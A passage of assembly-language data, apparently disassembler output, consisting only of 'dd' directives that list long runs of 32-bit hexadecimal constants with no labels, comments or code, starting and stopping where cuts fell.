5CB82130h, 0EFC5B8BDh, 0E3F4A53Dh dd 5725DE78h, 0B64BFCFBh, 0E3AEF46Dh, 31920A16h, 6E5D16A7h dd 76FDE862h, 835560DFh, 911AE38Dh, 0FA5AC0C7h, 0FDF5DE9Eh dd 5D2914Bh, 516DCEA0h, 141595EFh, 8289B5Fh, 710FEA67h dd 5684797h, 0F499903Fh, 0A134ADFDh, 0DA19A8FEh, 0F5344F1Eh dd 8252D70h, 146FC642h, 162B8622h, 9E3829E6h, 0B22B247Bh dd 0FCA7CB2Bh, 94E53E20h, 133BA62Ah, 2B6694Ah, 137A101Ch dd 5D910C5Ah, 0AD6EBD63h, 80EB89C4h, 0DD625566h, 191A6169h dd 33BECDDDh, 0CFF7A4E8h, 27338B78h, 7F4A0FDEh, 6949D1E1h dd 4198ADDEh, 986864Eh, 6CCD4543h, 70B0889Eh, 33D36A6Eh dd 0DD506428h, 8B9446E5h, 77761F75h, 0FD36719Bh, 0AD94666Ah dd 4D5D6082h, 0B07A3D19h, 1D77F19Dh, 6E871793h, 1B328E80h dd 99E1A891h, 48D8639Bh, 856C78E6h, 0BF214D0h, 484B501Ch dd 741D69B3h, 9ABA3BB9h, 81973C52h, 0B80F09D8h, 6C1BAE3h dd 7C9ABDBh, 26920CBCh, 0B053C976h, 0C0A05711h, 0B5C3A8A9h dd 56656E39h, 0F7D2323Eh, 0AF89B336h, 6F07779Eh, 0F2ECA847h dd 81F98A30h, 6B971EE2h, 0CA7CD0FAh, 214AA66Eh, 0D793A79Ch dd 0FA3AA0F6h, 12BFC80Eh, 1E868282h, 6A794922h, 0A370C549h dd 61EE6C9Eh, 5BA9A962h, 96DB14BEh, 40D29B0h, 53634EB1h dd 6F54DDA7h, 7E755864h, 86B7568Bh, 0E25551Eh, 9927B708h dd 9A5A5394h, 1213F820h, 5C429D4Eh, 8C63DD7Eh, 0D0D7345Ah dd 6177793Ah, 0E50DCB11h, 15813D7Bh, 0FE0D34B3h, 1DC35E34h dd 6C11F626h, 2A85C8ABh, 0E914ADA5h, 0C8953E49h, 0D5D8E2AAh dd 69609DADh, 186A64B3h, 3015610Eh, 723B7FDDh, 8E6621CEh dd 846C878Ah, 7B4D7BE1h, 0C448381Ch, 8672D521h, 0C4051CBh dd 0ECB81B4Eh, 635DB379h, 628E00C1h, 41F8DE17h, 9C8C8C47h dd 0A77C5564h, 60808B58h, 2687D8F0h, 0E935B7Bh, 870B96B0h dd 0DD45A13Dh, 9ED04216h, 6F75EB6Bh, 6D61F063h, 5CF7106Bh dd 1596B16h, 0E687F6D8h, 12181E29h, 691D88EDh, 5573066Fh dd 0EEE83A18h, 7F03FA01h, 0E106BA11h, 0B7F8BB75h, 0CA1A831h dd 0CCC42A13h, 716C09C5h, 48CC2CB9h, 58D4ED13h, 4D91AA6Eh dd 48A810E6h, 188E2387h, 3B625EE2h, 3F9F52ADh, 0F47EFE30h dd 2507A220h, 0F590044Ah, 2979514Eh, 0BFD00657h, 0EFA3DED8h dd 1A5463DCh, 0F96F6C03h, 0AA5F5911h, 790ED8D9h, 48174258h dd 281E0141h, 34865914h, 0F3721F6Dh, 15815BC0h, 1086DD35h dd 22F74EC3h, 1FBA96EDh, 0B8B486FFh, 555824BFh, 23388822h dd 0E5F61578h, 10153CC6h, 0CC889E54h, 31F0EFC4h, 0BFFC3538h dd 8E01E36Dh, 40CC1FF7h, 0DC565E5Bh, 19641073h, 0D071D33Bh dd 0BAC5103Bh, 3BEF979Ch, 62F7531Ah, 0BDD97FA8h, 2E8F4216h dd 38EF975h, 69FCCD72h, 1A5FB783h, 83295031h, 5030C139h dd 265DCEE9h, 1ECC6964h, 0B66CCEB3h, 0D6A8B0A5h, 0ACBC9C29h dd 75C9DEB6h, 7C454BB9h, 7D116201h, 0A0B4E311h, 2638F0Dh dd 0A29B2F00h, 0F93952E0h, 9089CD15h, 17D14427h, 41C624DFh dd 0FB5A782Ah, 0A4052DF1h, 5121EE4Ah, 0B4827A5Ch, 5AE8BAE7h dd 511E0092h, 857067F9h, 6D02723h, 0BF67E6F6h, 0D9EE5F24h dd 0C5D337F6h, 1C7492DEh, 0CC2A66D8h, 70418503h, 0CC945816h dd 0AF51D11h, 0EBC3FD96h, 0A4F2500Bh, 4850FD0Fh, 236B9EC6h dd 1DF8F86Ah, 43878673h, 8D9F5AB8h, 551B50B3h, 1057038Ah dd 0D50950A0h, 0B3D1B2B2h, 5C497Dh, 57140E23h, 88D61D5Ch dd 842AD7BFh, 5DD598BDh, 7ABD2439h, 9E602B91h, 0DEE2F341h dd 6CC2C685h, 86E2C235h, 7FC89DD7h, 7FA3D327h, 32541095h dd 0D8B5E7D8h, 2301650h, 0A18995A6h, 9D655644h, 0D982FCBEh dd 788FC944h, 359C21C6h, 0D0406E18h, 9F0E3E39h, 0A6B0DE81h dd 84076F72h, 3E08E576h, 83B384E6h, 6353931Dh, 0BAC7B9B6h dd 2A5AB56Eh, 69ECFA80h, 0B1E2914Bh, 0FC64FA0Ah, 49042693h dd 0F0BB2700h, 778D3FE9h, 306948C4h, 22872BA6h, 0A1019348h dd 17CAB50Ah, 0D21D4AEAh, 5B41FD5Ch, 59405E00h, 7BB4239Fh dd 32A6DE82h, 0D99F32CAh, 5417AFE3h, 0F2166930h, 72CA42FFh dd 627161Dh, 2E16B71Eh, 835532E7h, 9FA14B1Ch, 0D5821519h dd 0A2530487h, 293A9096h, 457682B2h, 0A97B0D46h, 0B9B8FB3h dd 0E8E706ADh, 0AE168AFDh, 509949B0h, 0FAC7E08Fh, 0A1E2CDA6h dd 0B4864578h, 532C4946h, 8A56ECA0h, 236552B5h, 0D86519BFh dd 0AA52675Ah, 40DA7DC4h, 0CE019F0Fh, 0C0E3A325h, 0DBDB97Ah dd 87589D03h, 0F075A9A2h, 0B15E3F53h, 31198378h, 0B50AFC8Dh dd 3A32EB6Ch, 560B7CB6h, 649D50B5h, 5DC7B62Dh, 8197E508h dd 0CB5A955Ch, 3F51A43Dh, 7A0FC4ACh, 0BA7A70BCh, 0EB79FB96h dd 0B65B2653h, 5BB16338h, 77F437BEh, 6AB4A9EEh, 0FDA0BF75h dd 0B8E2F2DDh, 6F323ABDh, 3A6C670Bh, 58246AF1h, 6C46BA1Ah dd 89F8B5C8h, 0FE046D74h, 3C9B2E58h, 0A17D9642h, 0D41370DAh dd 5E3DF707h, 5EF0DCA8h, 4CA73C76h, 81BB0688h, 4110DF8Ch dd 4DDBDF33h, 0A5ECF3EBh, 738B2D30h, 0B1DB2508h, 1E6F114h dd 41DB614Fh, 63204F96h, 563D93E9h, 0D963C562h, 1BA2F7DFh dd 2A261C4Eh, 4C2CCC2Ch, 5AA58D4Eh, 4C471E43h, 2ED4387h dd 0B5137B9Fh, 259934C4h, 5B0439D3h, 7ADB33ABh, 24C1AA48h dd 6EAACFB2h, 7B351423h, 270607CAh, 2ECCE5FFh, 4425693Ch dd 0F786F8FAh, 8F6B4F62h, 617A67h, 255BC67Dh, 96BFAE41h dd 8B869952h, 9D79FB1Fh, 0E9D99DF1h, 8B2B40DDh, 0E9B7369Eh dd 88BFF42h, 208CDCB6h, 0A8327DB3h, 7F738FDBh, 8B8AFE43h dd 4910A720h, 24403191h, 0B429ADC9h, 14F285E4h, 3FA922AFh dd 8E4CE029h, 0E9981DB7h, 0CA37913Ch, 0E73AC00h, 0C1ECD28Ch dd 91D3107Ah, 0CB8B12FBh, 646479D0h, 0E7074693h, 62B6CC54h dd 0EC113990h, 0C431126Fh, 41DA56C5h, 16DCF3D3h, 0D5C68C6Bh dd 6B8F0DE3h, 0A98DD94Dh, 4CE731Ch, 44D4032Ch, 0E909CBDBh dd 546ADB61h, 0AD31921h, 912A7980h, 1983AA0Eh, 0DEF9B8Dh dd 23F923BCh, 54D74F10h, 0EFEF9CA5h, 588342C1h, 390A61CAh dd 494C697Dh, 0A526165Bh, 0CCCF2C30h, 0A6001EACh, 5CB76F4Fh dd 0E093E899h, 0E277D13Fh, 0E06FB8A6h, 2D21FA3Dh, 9BE8EDADh dd 0F4ED0523h, 0BF76F716h, 83740304h, 0F76D9924h, 6E164DCDh dd 0CE35C582h, 782578BDh, 0FA30306h, 0C5307687h, 0E7A6F22Ah dd 0D0F7C9AFh, 23D4942Dh, 87E7C721h, 584F7B1Ah, 0A7684E32h dd 0F4A5EA3Fh, 0DE864577h, 8EB3AFABh, 17D665C3h, 0C0D0FB9Dh dd 0DB36D69Dh, 0B65881DEh, 6740CA7Ch, 3893663h, 0C3ABBC5Dh dd 39D761FFh, 0B630D927h dd 23490691h, 0AA07321Ch, 0E88EC98Eh, 2643308h, 43720BE9h dd 0E43AEC99h, 717D3061h, 0EF582D71h, 0CB0FABFEh, 11510AB2h dd 14EEF069h, 0DE2042F6h, 0D0777D54h, 0A56F256Ah, 61395696h dd 0C1AFBF8Dh, 86CFF737h, 86608FF6h, 8DEFDDABh, 7E2ABF1Ch dd 2AE6818Dh, 2FF892Ch, 0A1A9B49Eh, 90D6C740h, 4F8E5616h dd 4701EA6h, 28BAC887h, 1740D9DFh, 4CA9C616h, 0A37D1F36h dd 0C3E9DB24h, 259CE502h, 3C4EE4C4h, 322BE332h, 0CFB1F6F5h dd 2A942963h, 0ADDB8E3Eh, 829910CBh, 0ABA88538h, 375B1349h dd 657599F4h, 0E62F86EEh, 0FCACCC81h, 1053C863h, 0F35CC661h dd 76357FD1h, 49CA09D6h, 98DF1429h, 1CD47198h, 0BAB1A32Dh dd 0C9B7CA07h, 36874AFBh, 356CB0E6h, 0DF80F73Dh, 3B08FEFDh dd 302F9E03h, 0C0300715h, 85354A99h, 0A650DD41h, 0E7AD54h dd 0BE94A5B3h, 0A5E205Bh, 0F4911AAh, 0FAC64505h, 248EE767h dd 296E128Bh, 67B2910Ch, 776B5F82h, 0F67A8253h, 9D2A09E4h dd 34242D11h, 4D81D145h, 0DBE7DB93h, 4AA5C23Bh, 0E05DFBF4h dd 0D7359977h, 5FEC09F7h, 59DD30EDh, 947A2A0Dh, 6504CB4Dh dd 0B6CF324Bh, 0AD15B375h, 9510F3E3h, 1F53C252h, 0DC1C83E1h dd 42DEF8FAh, 0FC124828h, 0AD263B2Ch, 9CEC6664h, 879BF33Fh dd 5AEDA8B6h, 37AC8FFCh, 79D962B4h, 0D8FE1CEEh, 0E3E95919h dd 356C2A2Eh, 395E4DD4h, 46424C5Ch, 73F15856h, 0A0D85583h dd 1258B4C0h, 619EC20h, 5E9FFE33h, 0B0195373h, 0D6429CECh dd 7E1EBC78h, 8B4254D8h, 6C22CA4Dh, 14ED70E4h, 0BFAE1E30h dd 1C84D46Ch, 0DBFF7F86h, 55185168h, 8872D3D2h, 843E3D73h dd 7C9C6626h, 2A8CC322h, 5E6E7D47h, 9D80DE4Fh, 81FF6E2h dd 4B04E2A1h, 10FBD830h, 0B6A88D7Eh, 7BA1527Ah, 0A3D73015h dd 7A49E028h, 0EBB28DAAh, 0EBD62274h, 9A4C3EF4h, 0D1063659h dd 6782BEACh, 13DE271Bh, 31A3E719h, 0ADC5AAF0h, 9578B397h dd 6555E97Ah, 8E64C35Ah, 4908BE76h, 14FAF4B5h, 1DB8C9FEh dd 0BB23F45Ch, 2CCD7150h, 65FC082Dh, 58AE4B4Bh, 46DFCA3Bh dd 6FE977F6h, 132A7065h, 56DAC1A5h, 0E1CC46E8h, 3E7A8EB2h dd 0E08A453h, 160449D0h, 0EF9690B7h, 8EA31746h, 2EEA1271h dd 79A33FDDh, 29DCDEC2h, 0C979002Eh, 63AB50F8h, 8E609806h dd 80904491h, 0E685C90Bh, 0C115152Dh, 0D08D3FA4h, 60AD52BDh dd 796055A8h, 0BA1FD56Fh, 33F54A3Fh, 0BC001324h, 22E7B9BAh dd 2A0C371h, 40FD2F1Ch, 0D9C4E3E0h, 5AE3D721h, 61A9DA2h dd 6B53663Bh, 0DCD67078h, 97A77935h, 0B7A73E63h, 31CD01D1h dd 387C9E95h, 0DB8BD32Eh, 3D08D2BDh, 0EADAFC6Bh, 495CE2BBh dd 718BC032h, 4E1AA41Dh, 1E003EE0h, 0FAFBDA38h, 0FB1B6938h dd 0D551A464h, 98D4A066h, 0CA66C7FEh, 48E9A395h, 65FA8B0Eh dd 0BB10020Bh, 7331F7FAh, 0B48FA8F2h, 3054EB38h, 7A22535h dd 3654AF8Ah, 9AADC21Bh, 235194EFh, 99C68C79h, 0AB3A7F5Ah dd 592CFC6Ah, 5432E31Ah, 0E82E6678h, 13DFD23Bh, 0BEF90B9h dd 2EE32E25h, 0BA769119h, 0DDA4191Dh, 0CF26D608h, 0A75CB423h dd 0E953B1B3h, 941BFE65h, 0BE3AFF19h, 0C93F1A92h, 0C1A89C2Bh dd 75B1610Bh, 3CB6578Fh, 281619ADh, 9A6EECAh, 0DDEBD841h dd 0A9CAC5C7h, 0A16ABCE3h, 0A4C53F58h, 7D58B4E1h, 0A5DEFAAh dd 27F4E97Bh, 0BED73EA0h, 11D49C16h, 0FF9434D9h, 8BB6C343h dd 302D7AC5h, 0F5DCF6Bh, 463D668Bh, 54ACA72Ch, 98523FAEh dd 700867F1h, 435D3638h, 0A1B7D4FBh, 95FBF3AAh, 2B7356A6h dd 438238FEh, 6426867Ch, 0F55F7583h, 98F3ABD4h, 0CC95B52Ah dd 0B62C6804h, 369C6B68h, 2F12D0F9h, 0B04FA5E0h, 54A40BDFh dd 8A3224C6h, 0FF0CF92Eh, 0BDECF21Ch, 7B7AAF86h, 2667B7E3h dd 0E4FA05E9h, 0E88B1EF4h, 7DFFAB6Eh, 0E37AB071h, 70F72AB5h dd 0F8C586E7h, 0F01BF3E9h, 0D4DCBC36h, 0B32975F9h, 5914AFA7h dd 75F84A4Ah, 84C11203h, 7D26D1BCh, 3E9FFF4h, 0A61C4C27h dd 6A9F9808h, 887C20C2h, 55B26280h, 0BBA9B81Eh, 0F478C600h dd 9A598438h, 7DCB2382h, 2AE2074Bh, 8814D6C3h, 0DF189D5Eh dd 4C3F5F28h, 0B864D724h, 9A8925D4h, 362DF9E7h, 5D47B0D6h dd 0B59FBCA7h, 32AEB143h, 0E6454242h, 48041EC7h, 0CAAA6CC1h dd 4A57E8B9h, 0CA716573h, 6FEA5D29h, 8BF43790h, 0D426F301h dd 84BE3D38h, 0CAC9DEFFh, 4B73BD2Fh, 9A1DC3C0h, 0D95A3481h dd 0DAD9ACDEh, 79B7D577h, 0EEDDCC3h, 7277BC24h, 3E8230BEh dd 0C1788A63h, 1F77B3h, 4F6143F3h, 23608A02h, 34295185h dd 97B8BCB2h, 402B589Dh, 61B27DE5h, 6729F1EBh, 0BA33E6BEh dd 0BA17C1Ch, 39EFBBF5h, 0FF72750Dh, 519BAA0Bh, 91F34AB6h dd 1C863DF8h, 7B9D8011h, 181B1B1h, 0C807292Fh, 0A0411C9Ah dd 18A0B762h, 0B6F0C92Ah, 5B89FD0Ah, 591CE5ACh, 1D42E417h dd 2F277F86h, 268D4ABBh, 542F63F5h, 0FE1C0E2Ch, 0DD3394E3h dd 0CA276E1Dh, 0D5D68B0Dh, 577054F3h, 0ABD44D72h, 10631334h dd 0B0B80652h, 2ABAC326h, 43F41EE2h, 0CB0E9D2Eh, 5C953445h dd 63245B5Ch, 75979A9Bh, 0D6F07629h, 0EDC410D6h, 70E620A6h dd 8FF405B8h, 0E586893h, 0C34827E4h, 0BEDCFCBAh, 37352C12h dd 762D5C94h, 946EBE41h, 8B3E24D2h, 807CF3EDh, 842A46B9h dd 39C2DDAFh, 0FEAB9DFh, 0DB738CAFh, 0C2B3887Ah, 0C8A354D2h dd 0EC75BC4Ch, 6D88EE7Fh, 0D1DBCDB6h, 46DA194Ch, 0CE563768h dd 6F33F246h, 0A337FF9Bh, 230DB699h, 443069CCh, 96B26F66h dd 44DB278Ch, 0C8F5A540h, 0B9C271B2h, 52662C5Ch, 0F94E3DE0h dd 8E601E6Eh, 70B23905h, 8717DF7Fh, 170F4B60h, 5D335714h dd 103031C7h, 6722BEE1h, 42D16C9Bh, 6038851Fh, 28FA452Eh dd 0C87B3A5h, 5B8000E0h, 5DC4AE87h, 0C65068F9h, 4E0E7C2h dd 2732AC1h, 0D2E4AAE1h, 0B297ED4Fh, 0EE33ED78h, 427679Dh dd 595F1149h, 57FD42DFh, 0B06FC968h, 0E33C1EE6h, 51888922h dd 2CB29654h, 1FED3315h, 0CB9CF6BAh, 1BF68F81h, 80C0DB52h dd 0FD3AD256h, 651024C3h, 35E65F8Bh, 91B9DC2Fh, 14CE5535h dd 0CC8CEABDh, 6C9C406Fh, 0A8565413h, 1604F6EAh, 5AF97BE4h dd 0BDB1BA71h, 8F0A93E9h, 0FCA164E9h, 0D06C70Ah, 0D1FD0D50h dd 0E5F433AAh, 0EF624B52h, 6CA01062h, 345A78D2h, 36EAD68Eh dd 85011D9Ah, 5C07D76Ah, 8575011Ah, 2783F77Ch, 579ED053h dd 0F174A550h, 2364782Ah, 0A10479A2h, 9608693Eh, 7D282644h dd 3EB5C58h, 516BE1E1h, 0DA534615h, 0ECE99E75h, 0B5B3A948h dd 4324D212h, 2E9A262h, 690D3206h, 7A071610h, 6B780D75h dd 1AE65131h, 0E571D3Bh, 0F612850Ah, 0F802F75Eh, 323DE956h dd 4F28D8A2h, 0DC57D94Bh, 5C3ED058h, 0C208845h, 55F0F1D5h dd 0A6FFCBE9h, 8E02FB43h, 986E7F6h, 976CB14h, 0F2FBF8Dh dd 3BC3BA00h, 0C8514494h, 0A2AAD623h, 8A2C28CEh, 0B31A6241h dd 53FF0630h, 9D338173h, 92525934h, 82205A23h, 0B1801E73h dd 351D1406h, 0C5D020BFh, 73C324E3h, 64D293B9h, 0A3DD6CB0h dd 952A28E2h, 3016BFB9h, 8AC5D5F9h, 0C9B64BD5h, 992222DAh dd 0CB5213F9h, 69603644h, 0B5FCCBAFh, 80DED67Ah, 81F91B17h dd 3DFAFA9h, 0E89EC468h, 0FB116056h, 0C110D608h, 0F5108E5Dh dd 96EAE8ABh, 87901354h, 0F900927Bh, 0C7BDF8C1h, 23BC4781h dd 17B50FC0h, 3CF8B7B6h, 16F621Fh, 1E0B2227h, 5D9BE3E6h dd 261277E7h, 5C04362Dh dd 0EB63BBAFh, 0B1D3323Eh, 0A08703F1h, 5A94F1CEh, 2475D412h dd 1E55DD36h, 67C20492h, 0EA31F177h, 47CA5D4Bh, 0D87451B2h dd 776C7A4Ah, 4E5E71ABh, 0EA6DF804h, 597264DCh, 9FEBEBE5h dd 262D75A1h, 974BB70Dh, 0A4BE1491h, 0DB234AE4h, 0C24704CEh dd 0CFA43F3Ch, 0F282B5A8h, 1C376AB3h, 27C34771h, 3977BCF6h dd 770E86FAh, 2082B18Ah, 4C8396C9h, 74D3869Fh, 0D1A494C9h dd 8201B378h, 45C15019h, 0D5741B17h, 3BC061E9h, 0D3071D42h dd 0C1A11EB6h, 0BDB51884h, 1B5C3CAEh, 3FB5C566h, 0D55C5B9h dd 9FB643F5h, 0D3A69635h, 0ADF25BF1h, 6E8D9E10h, 0FC867424h dd 85571A23h, 697DA82Bh, 6488D0F3h, 9C7FB8B5h, 4BF1EC32h dd 0A5E05D65h, 0A93907CEh, 44947C48h, 0BAF60400h, 2A20EB98h dd 67106FB3h, 52B03127h, 0C386EFEDh, 8EC0127Bh, 5FD80E3Bh dd 0A5D72E5Fh, 56DA7C72h, 0ADBA7388h, 0DA62763Dh, 59B94E63h dd 0AD1CDDDAh, 0F7C796A9h, 0C0F7DA8Ah, 2F6026DEh, 0B6E98D13h dd 66F7D513h, 95A6342Bh, 5CD6992Eh, 1E0A2958h, 6E951B01h dd 0B2FC0746h, 3F2B7372h, 0AE07BE87h, 0DE0F5295h, 97BD1031h dd 5A3AAED6h, 58EAFF85h, 0CE3348CFh, 7F828203h, 0D58A2C83h dd 89DCB138h, 0C41ADE62h, 2B88C741h, 38BEA752h, 887FE60Bh dd 0AC7CADBh, 0F91A0DC4h, 0EA168A6Ch, 21AB8734h, 2E9B1DC3h dd 9959CCF9h, 4C394044h, 0B8953B7Dh, 0DC1ED2A7h, 3A469718h dd 5B599F67h, 8CDA07Ch, 0AD488E73h, 1CAA7C4h, 0E7A10650h dd 0D92B1E14h, 44182FE9h, 2D4B7B94h, 5B670043h, 50D078FAh dd 0F3398601h, 0ABDF651Ch, 0A4021419h, 9E988D0Eh, 0B1A4C6F0h dd 0E2400C5Fh, 0DA040CE5h, 0CD6D48F3h, 588E3BF3h, 3ED9CB46h dd 6E6F649Ch, 559ADBEFh, 0FD29C63Fh, 27DBC3ECh, 7DD60623h dd 0FAD64327h, 0BDD55419h, 0C3FAB891h, 2F03C2B3h, 0BB2521Bh dd 51359B52h, 10FD09B4h, 0C368D7CAh, 49BE7B0Eh, 63D69743h dd 9ECFF8FFh, 82F34557h, 2BD69F48h, 90B3FAB0h, 0FE459CF8h dd 6C598BC3h, 0B131011Dh, 55170968h, 21D256B1h, 0FE4714D2h dd 0FD8361CDh, 25379CFh, 0FBB3BFA8h, 418B00CEh, 0F6EE94A4h dd 0A99E1A1Ah, 861CDECBh, 10516597h, 81C8D7Ah, 53DCD867h dd 588DBAA4h, 42034520h, 0E5A433C6h, 0FC264954h, 4364D90Dh dd 0DDB59407h, 26C35F91h, 0A1FF5EADh, 29BDFDD1h, 0A6AE7A04h dd 6680420Bh, 3FAC9D87h, 7E3A7C81h, 2551101Eh, 725228B5h dd 21A5C071h, 21EA6E21h, 549D4CB7h, 999AF793h, 93FC080Bh dd 40C1D9EAh, 46411F66h, 0B9645A48h, 56F053D5h, 0E6305DA8h dd 13DC7AC8h, 26DAC0A2h, 11F1F92Ch, 3F1594FCh, 1DCABD54h dd 0CD9847F9h, 94C2F245h, 0C9F9E209h, 83B01B21h, 770CC8E5h dd 0BD99255Ch, 0E4AAD81Bh, 91D6452Fh, 0FC9B6976h, 2D113C2h dd 89C39C23h, 42A5C2B3h, 0C3910D12h, 0A36BC178h, 81C971BFh dd 0E658DBFh, 0C706A0F4h, 828CD23Ch, 2F998B4Dh, 14477780h dd 0FC344B14h, 0C968F80Eh, 9AAC6A2Dh, 1896CF2Dh, 44F4D546h dd 9BBE1E01h, 0B496E6D7h, 88914677h, 75EB182Fh, 0C054C84Dh dd 0EFDD224Eh, 0A00ADBC2h, 1E805D8Bh, 818516F6h, 0CE754152h dd 8E6EE916h, 0CD6D7948h, 6E2105D5h, 6A28B88Fh, 0F5EE6A12h dd 0B38976F0h, 0D81AAAF5h, 2399229Ah, 43F44244h, 7BBC852Fh dd 0BC4C6E0Dh, 0F7DFD6D8h, 674D081Ch, 9325956Ch, 0DCC089B7h dd 362E5E12h, 0CFE22D8h, 65125B90h, 0EAF331A2h, 0F69393E9h dd 13913FFEh, 6C43A97Fh, 5D135E35h, 8CB007C9h, 0C7D092BCh dd 275CCC03h, 0DE907AA2h, 37422CFDh, 25763BD6h, 0D3C1A71Ah dd 0C4A71D9Ah, 0EED0867Ch, 9DE7E74Fh, 0F51E32DDh, 5620DBD8h dd 0CDCBD36Fh, 143A494Eh, 80E548B2h, 56339387h, 9E152968h dd 8D6095DCh, 0CFAE0CBAh, 73139C45h, 224C8318h, 3C394036h dd 0E0C1A0AAh, 46F5BA83h, 234ECF24h, 6CDCE741h, 0E5BAEFA6h dd 0C31E47A6h, 0A969A689h, 2A0F89FDh, 0A173C6ABh, 4970699Eh dd 4EAA225Ch, 35194960h, 0A8855223h, 19078006h, 0E064D7A4h dd 3D551B55h, 437705AAh, 5C7A0DAEh, 528181D4h, 2EC88DCAh dd 92ADBB10h, 0AB702D35h, 91A8BC0Ah, 0A2FF0F78h, 13CA8A7Dh dd 65795BC1h, 0BE1594C1h, 0C0BFC5C6h, 0FAE6289Fh, 0D7CD05CCh dd 0CB99CA53h, 0D875FC88h, 0C12570Bh, 2B554513h, 31E2F019h dd 71F2396Fh, 0B2987F7Eh, 0BC85844Eh, 5206A706h, 0FC13445h dd 1F62D7C8h, 6D34915h, 2AF8038Fh, 0D632F2B0h, 13CBE9FFh dd 1505FEDDh, 3F56D38Ah, 0FC76237Eh, 0CA0389ADh, 78B7EE50h dd 0E23CFB02h, 5980F254h, 99D0D0Fh, 705306E1h, 3C8FEE29h dd 644BB77Ah, 0BA0930ACh, 1B558E25h, 752D7271h, 75E73053h dd 76491F24h, 0EBEAA0BFh, 6636644Ch, 0C0BEDD53h, 2C5BABA6h dd 0DC975C40h, 0D6491DA5h, 6FAC25B5h, 36F1E3F8h, 8FA8ED98h dd 5DACCB65h, 735EE52Dh, 0A2279D5Eh, 7AB5C7EDh, 0EED7AB61h dd 8EA9CD16h, 0FBF58831h, 4B8DA315h, 0E0DDF3EBh, 4BE3D0D3h dd 1ACE3AB6h, 3A998086h, 7D7C5148h, 89CF7F79h, 217C7704h dd 0A0382FB8h, 93253344h, 0ABBF89F0h, 9AC23178h, 0BF120792h dd 0BA46EF69h, 220FEF74h, 0D26C755Eh, 0A333E6C3h, 2F089FFh dd 5DF8D793h, 2A2EE86Fh, 0BD7A2C9Fh, 9E5BE6Eh, 0CBA8CA6Ch dd 1C198FD0h, 198A0338h, 0A39D6EAFh, 6EA7E06h, 0FD4C0983h dd 0FFAF5A4Dh, 0E9108C4Fh, 0C728F398h, 0AFA4527Ah, 60DD06E3h dd 7A7C1383h, 299C05E6h, 5239A8EAh, 2F14B7DBh, 0DC4F204h dd 0CDD8B3DCh, 0CA6CC211h, 349F9B1Fh, 0BA9941ACh, 23A1F5BEh dd 0E52C385Eh, 43BE0C74h, 0CAB95B69h, 70ED94C9h, 39CD8E35h dd 6AE1B3D8h, 1896725Ah, 0CBBDC423h, 0D33623D8h, 1B5BB49Dh dd 0AA9E1423h, 935AE80Eh, 0B1E5D0A6h, 4EF948A1h, 0F77CAE6Eh dd 229BCDE8h, 0A2EB1471h, 7C1E5CDDh, 4CD9BB6Fh, 6D99C86Fh dd 12EE4387h, 79003B68h, 6322BD0Eh, 48B60DE7h, 0C9815645h dd 3A726F91h, 6091996Eh, 5B579B03h, 42D77808h, 6E8F54DCh dd 6CF19D5Fh, 0F21DC71h, 1A6DB658h, 75BF37A1h, 0A0354F85h dd 3CEEADFDh, 0AB7D457Bh, 0BE4AE34Fh, 0E3FCB282h, 584C6DDEh dd 0E8BF3180h, 5A1051Eh, 146E9138h, 548CD1FDh, 0A2BA531Eh dd 0D30620C6h, 4017F51Dh, 8C14960Fh, 4D4CC7ADh, 0EDE76906h dd 328D05F2h, 0D6A63DDDh, 0DB18919Fh, 9254A71Bh, 3F976D1Dh dd 56416429h, 91423E75h, 0D9AA1234h, 7346016h, 15E81406h dd 4118007Dh, 851F394Fh, 6DA2A653h, 90D21FB3h, 3A66D853h dd 1A147F47h, 7F875276h, 18D26AD6h, 0B78A9E36h, 0EA792BFEh dd 0E65B017Ch, 87EC3A15h, 0B6482E70h, 8C7DB491h, 0F15834D2h dd 8E362042h, 339B7057h, 68F982A7h, 1C93554Bh, 53870EAEh dd 0A574F3FCh, 0B1410F62h, 9A52F295h, 1F69C1D0h, 0EAB32048h dd 52A887D8h, 0EC1CDAAEh, 5EB91109h, 351F246Bh, 8783B007h dd 0D410E2AAh, 2D3AD2CAh, 0A52AF248h, 0AD076131h, 6522E1ECh dd 0DF0A4634h, 277EC335h, 1FC78038h, 9656C332h, 0F3085AC0h dd 0CF05B55Ah, 330BFACAh, 8B1AEC01h, 1109F6B1h, 9C8A6B16h dd 0C53DB371h, 611CC82h, 618D5164h, 976164A1h, 0FBB48EBCh dd 0F5F3D513h, 79836286h, 29813695h, 0A4802EB2h, 0F24582E6h dd 38A870CAh, 642018E6h, 0D24CAA91h, 62BA9946h, 2D110ED1h dd 2D9E477Dh, 0BD1F82D6h, 0E6D366F8h, 0D6295329h, 52717DF1h dd 35C7B2E3h, 0F6111DEAh dd 5A556A2Fh, 5D5D7CB7h, 0FB5AA2Dh, 0A357AB7Bh, 0F4699257h dd 64C7797Ah, 69FC94E4h, 66677E0Eh, 7CF71886h, 3E3A6B20h dd 9C99B794h, 9091FD82h, 7ED5F2A2h, 0F58B229Ch, 2AADC0E0h dd 2F2D4867h, 8519DAAEh, 528FA34Fh, 733B5D24h, 0EB39830Dh dd 0CCECE612h, 0CE72D9D3h, 0CA3A129Ah, 791FDC05h, 225F9FF3h dd 0C9670128h, 0CA27C4B1h, 0B2C65C11h, 0A2654659h, 0D5AD3042h dd 1062E2D7h, 65B59C6Dh, 3D2D0147h, 592AE00Eh, 653934D8h dd 0C6CBEA21h, 4E56D375h, 66D66F99h, 3FD65394h, 0D25EE11h dd 9FDE75B9h, 51BAAB5Bh, 0A874DB8Ah, 6D574CF2h, 0F0F1D96Dh dd 6E1DDBC0h, 9B769063h, 0D985CA05h, 5DDE584h, 75A01B0Fh dd 6B630785h, 5395EB07h, 7A917D1Fh, 318A935Ah, 0E70C706Bh dd 8A02C38h, 0AB023483h, 0CBA03FC8h, 0D2BD1285h, 0A057987Eh dd 36CFFECDh, 0A9094E19h, 17D02414h, 0BA5642EBh, 5D47274h dd 0D99DFB4Ah, 0E9704F23h, 3DE790BAh, 51F52BDEh, 7565D207h dd 0B915AA81h, 13857C78h, 99EF304Ah, 4941D448h, 67859C62h dd 0CB70DD0Fh, 0AF4993E8h, 70B77322h, 0D6F119E0h, 0D7FC70B2h dd 54F25E51h, 0E68AE6DDh, 0E2EB8D3Ah, 34540417h, 50E72E00h dd 0A62F3700h, 46D28CC6h, 84A93E13h, 0B3D755F3h, 726B3DBAh dd 419C1831h, 4806346Ah, 22264474h, 0F2DA35D3h, 32F0206Fh dd 6497761Bh, 0DDBC58C6h, 0DB70529Ch, 1038B46Eh, 6C053742h dd 8DAE8BAAh, 0AB72BB95h, 962A76C2h, 936F47DCh, 8B21B7AAh dd 86E04378h, 96682C76h, 96DF9E34h, 78A90AACh, 47FB7069h dd 